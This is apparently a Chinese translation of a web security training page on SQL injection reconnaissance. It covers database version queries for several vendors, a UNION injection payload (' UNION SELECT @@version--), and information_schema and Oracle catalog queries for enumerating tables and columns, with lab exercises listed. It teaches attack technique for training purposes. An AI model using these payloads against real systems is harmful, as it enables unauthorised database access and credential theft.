在SQL注入攻击中检索数据库

在利用SQL注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库所包含的表和列的内容。

查询数据库类型和版本

不同的数据库提供不同的查询其版本的方法。通常需要尝试不同的查询,以找到一个有效的查询,从而能够确定数据库软件的类型和版本。

对于一些流行的数据库类型,确定数据库版本的查询方法如下:

数据库类型

查询

Microsoft/MySQL

SELECT @@version

Oracle

SELECT * FROM v$version

PostgreSQL

SELECT version()

例如,你可以使用带有下边的UNION攻击:

' UNION SELECT @@version--

这可能会返回类似下面的输出,确认数据库是Microsoft SQL Server,以及正在使用的版本:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

LAB

SQL注入攻击,在Oracle数据库中查询数据库类型和版本

LAB

SQL注入攻击,在MySQL和MSSQL中查询数据库类型和版本

列出数据库的内容

大多数数据库类型(Oracle是个明显的例外)都有一组被称作information schema的视图,这些视图提供有关数据库的信息。

可以通过查询information_schema.tables来列出数据库的表:

SELECT * FROM information_schema.tables

返回输出如下:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

这些输出表明库中有三个表,分别是ProductsUsersFeedback

可以通过查询information_schema.columns列出特定表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

返回输出如下:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase    dbo          Users      UserId      int
MyDatabase    dbo          Users      Username    varchar
MyDatabase    dbo          Users      Password    varchar

此输出显示了指定表中的列以及每列的数据类型。

LAB

SQL注入攻击,在非Oracle数据库中列出数据库内容

等效于Oracle中的information schema

在Oracle中,可以通过稍有差异的查询获取同样的信息。

可以通过查询all_tables来列出表:

SELECT * FROM all_tables

还可以通过查询all_tab_columns列出列:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

LAB

SQL注入攻击,在Oracle中列出数据库内容

Last updated